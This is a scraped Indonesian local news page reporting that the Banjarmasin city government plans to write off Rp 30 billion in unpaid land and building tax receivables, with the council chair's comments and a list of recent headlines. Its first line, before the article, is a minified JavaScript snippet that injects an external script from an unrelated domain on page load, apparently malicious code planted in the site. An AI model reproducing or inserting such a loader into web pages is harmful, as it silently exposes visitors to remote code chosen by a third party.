(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Berencana Hapus Piutang Pajak Bumi Bangunan Rp 30 Miliar


BANJARMASIN, Ketua DPRD Banjarmasin Hj Ananda mengungkapkan, pemerintah kota berencana akan menghapuskan piutang Rp 30 miliar dari tunggakan Pajak Bumi Bangunan (PBB) pedesaan/perkotaan. Walikota Banjarmasin Ibnu Sina sudah menyurati pihaknya terkait persetujuan untuk penghapusan piutang PBB tersebut.

Menurut Ananda, berdasarkan hasil Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK) ternyata ada piutang PBB untuk daerah pedesaan dan perkotaan di Banjarmasin yang jumlahnya mencapai Rp 92 miliar. “Jadi dari Rp 92 miliar ini, ada sekitar Rp 30 miliar yang harus dihapuskan, sebab akan mempengaruhi laporan keuangan pemerintah kota,” terangnya.

Terkait masalah ini, DPRD Banjarmasin akan melakukan konsultasi ke Kementerian Keuangan RI untuk menindaklanjuti permintaan eksekutif.

“Kita ingin minta masukan kepada Kemenkeu RI seperti apa tindaklanjut persetujuan yang harus diberikan DPRD kota untuk penghapusan piutang PBB ini,” katanya seperti dilansir Antara.

Dari hasil konsultasi yang didapat pihaknya dengan Kemenkeu RI, DPRD diharapkan mencermati permasalahannya. Sehingga tidak begitu saja harus menyetujui sebelum ada pembahasan mendalam di tingkat komisi dan mencek secara rinci laporan dari pemerintah kota.

“Jadi kita jangan setuju begitu saja, tapi kami melalui komisi terkait ekonomi dan keuangan harus mengkajinya, menanyakan kembali dengan jelas kepada pemerintah kota bagaimana prosesnya hingga harus dihapuskan,” terangnya.

Ananda menyatakan, pihaknya akan secepatnya menindaklanjuti hasil konsultasi dengan Kemenkeu RI ini agar secepatnya pula diputuskan, sehingga pertanggungjawaban keuangan pemerintah kota tidak terganggu dikemudian harinya. Dia memang mendapatkan informasi, tertumpuknya tunggakan PBB yang ingin dihapuskan ini dari tahun 2000 hingga sekarang. “Hal ini dikarenakan adanya masalah bagi wajib bayar PBB tersebut, diantaranya karena yang berkewajiban itu telah meninggal dan objek pajaknya tidak ada lagi,” ujarnya.(ammar/ant)

Reporter: Ammar/ant
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.